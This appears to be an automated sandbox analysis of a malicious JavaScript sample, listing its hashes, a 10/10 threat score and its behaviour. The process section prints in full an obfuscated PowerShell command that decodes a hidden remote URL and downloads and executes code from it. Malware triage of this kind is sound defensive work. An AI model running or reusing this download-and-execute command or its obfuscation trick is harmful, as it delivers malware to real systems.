Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
02-10-2024 01:25
General
-
Target
8f749a8cd01566864555b1f13009b9bc95b897d8403b1aa0714f734e2815ee0b.js
-
Size
158KB
-
MD5
5f7b4c82ffd6c93d49f95baff8316bb1
-
SHA1
73cf19f5557cd02da8c27a090f17ca84943c772e
-
SHA256
8f749a8cd01566864555b1f13009b9bc95b897d8403b1aa0714f734e2815ee0b
-
SHA512
9b12927f31554f69c5044688aa8932da0581c195b58c4efd6116799800446444821bbbc1614c8ede698fc65a10d81de05e9b84c2172c1891132596040ce19cbf
-
SSDEEP
3072:a5UpyaaAND6gkXIwHO6Q+EPQo2Yb5MInsCBQ6LHvWQqacDXPl:NIYTPv2YSInsCB1fJYfl
Score
10/10
Malware Config
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Command and Scripting Interpreter: JavaScript 1 TTPs
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\8f749a8cd01566864555b1f13009b9bc95b897d8403b1aa0714f734e2815ee0b.js1⤵
-
C:\Windows\system32\conhost.execonhost --headless powershell $jeznwrn='ur';new-alias press c$($jeznwrn)l;$lmdyix=(7026,7028,7045,7035,7041,7034,7041,7040,7037,6969,7039,7034,7035,6970,6972,6969,7035,7027,7035,6986,7038,6984,7032,7028,7033,7039,7038,6972,6974);$ewokxkvdgw=('bronx','get-cmdlet');$gxtkgx=$lmdyix;foreach($urptpiufhyow in $gxtkgx){$shgfmca=$urptpiufhyow;$qolmcng=$qolmcng+[char]($shgfmca-6923);$benngetwirjk=$qolmcng;$pqrokowrzrg=$benngetwirjk};$usuigcfhqp[2]=$pqrokowrzrg;$dnyedgp='rl';$feabzsmqgejk=1;.$([char](9992-9887)+'e'+'x')(press -useb $pqrokowrzrg)1⤵
- Process spawned unexpected child process